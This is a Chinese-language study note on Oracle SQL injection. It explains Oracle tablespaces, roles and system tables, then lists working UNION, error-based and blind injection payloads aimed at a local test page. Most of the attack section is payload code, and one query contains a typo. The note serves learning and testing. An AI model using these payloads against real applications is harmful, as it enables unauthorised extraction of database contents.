参考大佬文章
https://y4er.com/posts/oracle-sql-inject/
oracle SQL注入学习
oracle注入
基本概念
oracle和MYSQL数据库语法大致相同,结构不太一样。最大的一个特点就是oracle可以调用java代码
对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:
SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
UNDOTBS:用于事务回退等
TEMP:作为缓存空间减少内存负担
USERS:就是存储我们定义的表和数据
在oralce中每个表空间均存在一张dual表,这张表是虚表,并没有实际的存储意义,因为oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来作为计算,查询时间等SQL语句中from之后的虚表占位,也就是select 1+1 from dual
再来看Oracle中用户和权限划分:Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的增删改查,DBA 则集合了所有的用户权限。在创建数据库时,会默认启用 sys、system 等用户:
sys:相当于 Linux 下的 root 用户。为 DBA 角色
system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
基本语法
1 | select column, group_function(column) |
oracle要求select后必须指明要查询的表名,可以用dual
oracle使用||拼接字符串,MYSQL中为或运算
比如
1 | select 'a'||'a' from dual; |
单引号和双引号在ORACLE中虽然都是字符串,但是双引号可以用来消除关键字,比如sysdate。
ORACLE中limit应该使用虚表中的rownum字段通过where条件判断
1 | select * from test where rownum=1; |
Oracle中没有空字符,’’和’null’都是null,而MySQL中认为’’仍然是一个字符串。
Oracle对数据格式要求严格,比如union select的时候,放到下文讲。
Oracle的系统表:
dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
all_tables : 当前用户有权限的表的信息
user_tables: 当前用户名下的表的信息
DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
USER_ALL_TABLES:某一用户所拥有的对象和表
DBA_TABLES >= ALL_TABLES >= USER_TABLES
信息搜集
以注入点http://localhost:8080/oracleInject/index?username=admin为例讲解。代码随便写一个jsp网页就行了
1 | SQL语句:select * from test where username='admin' |
获取数据库版本信息
1 | http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- + |
获取操作系统版本信息
1 | http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- + |
获取当前数据库
1 | select * from test where username='admin' union select 1,'a'(SELECT name FROM vSdatabase) from dual |
获取数据库用户
1 | SELECT user FROM dual; |
获取所有数据库用户
1 | SELECT username FROM all_users; |
获取当前用户权限
1 | SELECT * FROM session_privs |
获取当前用户有权限的所有数据库
1 | SELECT DISTINCT owner, table_name FROM all_tables |
获取表,all_tables类似于MySQL中的information_schema.tables,里面的结构可以自己构造sql语句
1 | SELECT * FROM all_tables; |
获取字段名
1 | SELECT column_name FROM all_tab_columns |
在Oracle启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。包括当前用户名等等。
1 | SELECT SYS_CONTEXT('USERENV','SESSION_USER') from dual; |
注入类型
联合注入
order by 猜字段数量,union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,比如:
1 | http://localhost:8080/oracleInject/index?username=admin' union select null,null,null from dual -- 正常 |
查数据库版本和用户名
1 | http://localhost:8080/oracleInject/index?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual -- |
查当前数据库
1 | http://localhost:8080/oracleInject/index?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual -- |
查表,wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代
1 | http://localhost:8080/oracleInject/index?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual -- |
但是LISTAGG()返回的是varchar类型,如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。
查字段
1 | http://localhost:8080/oracleInject/index?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual -- |
有表名字段名出数据就不说了。
报错注入
5.1 utl_inaddr.get_host_name
1 | select utl_inaddr.get_host_name((select user from dual)) from dual; |
11g之后,使用此函数的数据库用户需要有访问网络的权限
5.2 ctxsys.drithsx.sn
1 | select ctxsys.drithsx.sn(1, (select user from dual)) from dual; |
处理文本的函数,参数错误时会报错。
5.3 CTXSYS.CTX_REPORT.TOKEN_TYPE
1 | select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual; |
5.4 XMLType
我在12c中测试失败。
1 | http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null -- |
注意url编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。
5.5 dbms_xdb_version.checkin
1 | select dbms_xdb_version.checkin((select user from dual)) from dual; |
5.6 dbms_xdb_version.makeversioned
1 | select dbms_xdb_version.makeversioned((select user from dual)) from dual; |
5.7 dbms_xdb_version.uncheckout
1 | select dbms_xdb_version.uncheckout((select user from dual)) from dual; |
5.8 dbms_utility.sqlid_to_sqlhash
1 | SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual; |
5.9 ordsys.ord_dicom.getmappingxpath
1 | select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual; |
5.10 UTL_INADDR.get_host_name
1 | select UTL_INADDR.get_host_name((select user from dual)) from dual; |
5.11 UTL_INADDR.get_host_address
1 | select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual; |
盲注
6.1布尔盲注
布尔盲注第一种是可以使用简单的字符串比较来进行,比如:
1 | http://localhost:8080/oracleInject/index?username=admin' and (select substr(user, 1, 1) from dual)='S' -- |
然后还有一种是通过decode配合除数为0来进行布尔盲注。
1 | http://localhost:8080/oracleInject/index?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) -- |
6.2时间盲注
大量数据
1 | select count(*) from all_objects |
缺点就是不准
时间延迟函数
1 | select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1; |
还可以配合decode
1 | select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual; |